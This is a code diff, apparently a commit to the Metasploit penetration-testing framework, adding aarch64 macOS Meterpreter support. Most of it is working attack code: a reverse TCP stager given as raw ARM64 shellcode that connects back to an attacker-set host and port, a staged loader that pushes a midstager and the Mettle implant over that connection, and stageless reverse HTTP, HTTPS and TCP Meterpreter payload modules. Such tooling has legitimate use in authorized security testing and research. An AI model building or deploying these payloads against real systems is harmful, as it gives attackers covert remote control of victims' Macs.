|
||||
__asm__(
|
||||
"movq %1, %%rax;\n"
|
||||
"movq %2, %%rdi;\n"
|
||||
@@ -882,6 +945,7 @@ uint64_t syscall_shared_region_check_np()
|
||||
: "=g"(ret)
|
||||
: "g"(shared_region_check_np), "g"(&address)
|
||||
: "rax", "rdi" );
|
||||
#endif
|
||||
return address;
|
||||
}
|
||||
|
||||
@@ -916,6 +980,18 @@ void print(char * str)
|
||||
unsigned long long addr = (unsigned long long) str;
|
||||
unsigned long ret = 0;
|
||||
/* ret = write(stdout, str, len); */
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"mov x1, %3;\n"
|
||||
"mov x2, %4;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(write), "r"(stdout), "r"(addr), "r"(len)
|
||||
: "x0", "x1", "x2" );
|
||||
#else
|
||||
__asm__(
|
||||
"movq %1, %%rax;\n"
|
||||
"movq %2, %%rdi;\n"
|
||||
@@ -926,5 +1002,6 @@ void print(char * str)
|
||||
: "=g"(ret)
|
||||
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
|
||||
: "rax", "rdi", "rdx" );
|
||||
#endif
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_aarch64_OSX < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'osx'
|
||||
self.base_arch = ARCH_AARCH64
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -166,6 +166,9 @@ require 'digest/sha1'
|
||||
if plat.index(Msf::Module::Platform::Linux)
|
||||
return to_linux_aarch64_elf(framework, code)
|
||||
end
|
||||
if plat.index(Msf::Module::Platform::OSX)
|
||||
return to_osx_aarch64_macho(framework, code)
|
||||
end
|
||||
|
||||
# XXX: Add remaining AARCH64 systems here
|
||||
end
|
||||
@@ -867,6 +870,24 @@ require 'digest/sha1'
|
||||
mo
|
||||
end
|
||||
|
||||
# self.to_osx_aarch64_macho
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :template
|
||||
# @return [String]
|
||||
def self.to_osx_aarch64_macho(framework, code, opts = {})
|
||||
|
||||
# Allow the user to specify their own template
|
||||
set_template_default(opts, "template_aarch64_darwin.bin")
|
||||
|
||||
mo = self.get_file_contents(opts[:template])
|
||||
bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")
|
||||
mo[bo, code.length] = code
|
||||
mo
|
||||
end
|
||||
|
||||
# self.to_osx_ppc_macho
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
|
||||
@@ -170,6 +170,7 @@ class MsfAutoload
|
||||
'pe_inject' => 'PEInject',
|
||||
'payload_db_conf' => 'PayloadDBConf',
|
||||
'reverse_tcp_x86' => 'ReverseTcp_x86',
|
||||
'reverse_tcp_aarch64' => 'ReverseTcp_Aarch64',
|
||||
'ruby_dl' => 'RubyDL',
|
||||
'wmic' => 'WMIC',
|
||||
'net_api' => 'NetAPI',
|
||||
@@ -247,6 +248,7 @@ class MsfAutoload
|
||||
'meterpreter_mipsbe_linux' => 'Meterpreter_mipsbe_Linux',
|
||||
'meterpreter_aarch64_apple_ios' => 'Meterpreter_aarch64_Apple_iOS',
|
||||
'meterpreter_x64_osx' => 'Meterpreter_x64_OSX',
|
||||
'meterpreter_aarch64_osx' => 'Meterpreter_aarch64_OSX',
|
||||
'meterpreter_ppc_linux' => 'Meterpreter_ppc_Linux',
|
||||
'meterpreter_x64_win' => 'Meterpreter_x64_Win',
|
||||
'meterpreter_php' => 'Meterpreter_Php_Php',
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
# Module generated by tools/modules/generate_mettle_payloads.rb
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 827315
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'OSX Meterpreter, Reverse HTTP Inline',
|
||||
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
||||
'Brent Cook <brent_cook[at]rapid7.com>',
|
||||
'timwr',
|
||||
'usiegl00'
|
||||
],
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
opts = {
|
||||
scheme: 'http',
|
||||
stageless: true
|
||||
}.merge(mettle_logging_config)
|
||||
MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,44 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
# Module generated by tools/modules/generate_mettle_payloads.rb
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 827315
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'OSX Meterpreter, Reverse HTTPS Inline',
|
||||
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
||||
'Brent Cook <brent_cook[at]rapid7.com>',
|
||||
'timwr',
|
||||
'usiegl00'
|
||||
],
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
opts = {
|
||||
scheme: 'https',
|
||||
stageless: true
|
||||
}.merge(mettle_logging_config)
|
||||
MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,44 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
# Module generated by tools/modules/generate_mettle_payloads.rb
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 827315
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'OSX Meterpreter, Reverse TCP Inline',
|
||||
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
||||
'Brent Cook <brent_cook[at]rapid7.com>',
|
||||
'timwr',
|
||||
'usiegl00'
|
||||
],
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
opts = {
|
||||
scheme: 'tcp',
|
||||
stageless: true
|
||||
}.merge(mettle_logging_config)
|
||||
MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,131 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# ReverseTcp
|
||||
# ----------
|
||||
#
|
||||
# Osx reverse TCP stager.
|
||||
#
|
||||
###
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 328
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => 'usiegl00',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => { 'RequiresMidstager' => false},
|
||||
'Convention' => 'sockedi',
|
||||
))
|
||||
end
|
||||
|
||||
def generate(opts = {})
|
||||
encoded_port = [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
|
||||
retry_count = datastore['StagerRetryCount']
|
||||
seconds = datastore['StagerRetryWait']
|
||||
sleep_seconds = seconds.to_i
|
||||
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
|
||||
|
||||
payload = [
|
||||
# Generated from external/source/shellcode/osx/aarch64/stager_sock_reverse.s
|
||||
0xaa1f03e0,
|
||||
0xd2820001,
|
||||
0xd2800042,
|
||||
0xd2820043,
|
||||
0xaa3f03e4,
|
||||
0xaa1f03e5,
|
||||
0x580007d0,
|
||||
0xd4000001,
|
||||
0xb100041f,
|
||||
0x54000600,
|
||||
0xaa0003ec,
|
||||
0xd280000a,
|
||||
0x1000064b,
|
||||
0xf940016b,
|
||||
0xd2800040,
|
||||
0xd2800021,
|
||||
0xd2800002,
|
||||
0x580006b0,
|
||||
0xd4000001,
|
||||
0xaa0003ed,
|
||||
0x10000501,
|
||||
0xf9400021,
|
||||
0xf81f8fe1,
|
||||
0x910003e1,
|
||||
0xd2800202,
|
||||
0x580005f0,
|
||||
0xd4000001,
|
||||
0xaa0d03e0,
|
||||
0xaa0c03e1,
|
||||
0xd2802902,
|
||||
0xd2800803,
|
||||
0xaa1f03e4,
|
||||
0xaa1f03e5,
|
||||
0x58000530,
|
||||
0xd4000001,
|
||||
0xaa0c03e0,
|
||||
0xd2802901,
|
||||
0xd28000a2,
|
||||
0x580004d0,
|
||||
0xd4000001,
|
||||
0xd61f0180,
|
||||
0xd100056b,
|
||||
0xf100017f,
|
||||
0x540001c0,
|
||||
0xd2800000,
|
||||
0xd2800001,
|
||||
0x10000242,
|
||||
0xf9400042,
|
||||
0x10000243,
|
||||
0xf9400063,
|
||||
0xa9bf0be3,
|
||||
0x910003e4,
|
||||
0xd2800002,
|
||||
0xd2800003,
|
||||
0x58000310,
|
||||
0xd4000001,
|
||||
0x54ffface,
|
||||
0xd2800020,
|
||||
0x580002d0,
|
||||
0xd4000001,
|
||||
encoded_port,
|
||||
encoded_host,
|
||||
retry_count,
|
||||
0x00000000,
|
||||
sleep_nanoseconds,
|
||||
0x00000000,
|
||||
sleep_seconds,
|
||||
0x00000000,
|
||||
0x020000c5,
|
||||
0x00000000,
|
||||
0x02000061,
|
||||
0x00000000,
|
||||
0x02000062,
|
||||
0x00000000,
|
||||
0x0200001d,
|
||||
0x00000000,
|
||||
0x0200004a,
|
||||
0x00000000,
|
||||
0x0200005d,
|
||||
0x00000000,
|
||||
0x02000001,
|
||||
0x00000000,
|
||||
].pack("V*")
|
||||
return payload
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,140 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Meterpreter',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Platform' => 'osx',
|
||||
'Author' => [
|
||||
'parchedmind', # osx_runbin
|
||||
'nologic', # shellcc
|
||||
'timwr', # metasploit integration
|
||||
'usiegl00' # aarch64
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ],
|
||||
[ 'URL', 'https://github.com/nologic/shellcc' ]
|
||||
],
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX,
|
||||
'Convention' => 'sockedi',
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
stager_file = File.join(Msf::Config.data_directory, "meterpreter", "aarch64_osx_stage")
|
||||
data = File.binread(stager_file)
|
||||
macho = Msf::Payload::MachO.new(data)
|
||||
output_data = macho.flatten
|
||||
entry_offset = macho.entrypoint
|
||||
# external/source/shellcode/osx/aarch64/stage_mettle.s
|
||||
midstager = [
|
||||
0xaa1f03e0,
|
||||
0x10000861,
|
||||
0xf9400021,
|
||||
0xd2800042,
|
||||
0xd2820043,
|
||||
0xaa1f03e4,
|
||||
0xaa1f03e5,
|
||||
0x58000870,
|
||||
0xd4000001,
|
||||
0xaa0003ea,
|
||||
0xaa0d03e0,
|
||||
0xaa0a03e1,
|
||||
0x10000702,
|
||||
0xf9400042,
|
||||
0xd2800803,
|
||||
0xaa1f03e4,
|
||||
0xaa1f03e5,
|
||||
0x58000770,
|
||||
0xd4000001,
|
||||
0xaa0a03e0,
|
||||
0x10000601,
|
||||
0xf9400021,
|
||||
0xd28000a2,
|
||||
0x580006f0,
|
||||
0xd4000001,
|
||||
0xaa1f03e0,
|
||||
0x10000581,
|
||||
0xf9400021,
|
||||
0xd2800062,
|
||||
0xd2820043,
|
||||
0xaa1f03e4,
|
||||
0xaa1f03e5,
|
||||
0x58000550,
|
||||
0xd4000001,
|
||||
0xaa0003eb,
|
||||
0xaa0d03e0,
|
||||
0xaa0b03e1,
|
||||
0x10000422,
|
||||
0xf9400042,
|
||||
0xd2800803,
|
||||
0xaa1f03e4,
|
||||
0xaa1f03e5,
|
||||
0x58000450,
|
||||
0xd4000001,
|
||||
0x10000380,
|
||||
0xf9400000,
|
||||
0x8b0a0000,
|
||||
0x100002ea,
|
||||
0xf940014a,
|
||||
0xaa0b03ec,
|
||||
0xaa0003ef,
|
||||
0xaa1f03e0,
|
||||
0xd2880001,
|
||||
0xd2800062,
|
||||
0xd2820043,
|
||||
0xaa1f03e4,
|
||||
0xaa1f03e5,
|
||||
0x58000230,
|
||||
0xd4000001,
|
||||
0x91400800,
|
||||
0x9100001f,
|
||||
0xaa0d03e0,
|
||||
0xd63f01e0,
|
||||
0xd2800000,
|
||||
0x58000210,
|
||||
0xd4000001,
|
||||
0xd503201f,
|
||||
0xd503201f,
|
||||
output_data.length,
|
||||
0x00000000,
|
||||
payload.length,
|
||||
0x00000000,
|
||||
entry_offset,
|
||||
0x00000000,
|
||||
0x020000c5,
|
||||
0x00000000,
|
||||
0x0200001d,
|
||||
0x00000000,
|
||||
0x0200004a,
|
||||
0x00000000,
|
||||
0x02000001,
|
||||
0x00000000,
|
||||
].pack("V*")
|
||||
print_status("Transmitting first stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
|
||||
Rex::sleep(0.1)
|
||||
print_status("Transmitting second stager...(#{output_data.length} bytes)")
|
||||
conn.put(output_data) == output_data.length
|
||||
end
|
||||
|
||||
def generate_stage(opts = {})
|
||||
config_opts = {scheme: 'tcp'}.merge(mettle_logging_config(opts))
|
||||
mettle_macho = MetasploitPayloads::Mettle.new('aarch64-apple-darwin',
|
||||
generate_config(opts.merge(config_opts))).to_binary :exec
|
||||
mettle_macho[0] = 'b'
|
||||
mettle_macho
|
||||
end
|
||||
end
|
||||
@@ -26,6 +26,7 @@ arches = [
|
||||
['x86', 'Linux', 'i486-linux-musl'],
|
||||
['zarch', 'Linux', 's390x-linux-musl'],
|
||||
['x64', 'OSX', 'x86_64-apple-darwin'],
|
||||
['aarch64', 'OSX', 'aarch64-apple-darwin'],
|
||||
['aarch64', 'Apple_iOS', 'aarch64-iphone-darwin'],
|
||||
['armle', 'Apple_iOS', 'arm-iphone-darwin'],
|
||||
]
|
||||
|
||||
Reference in New Issue
Block a user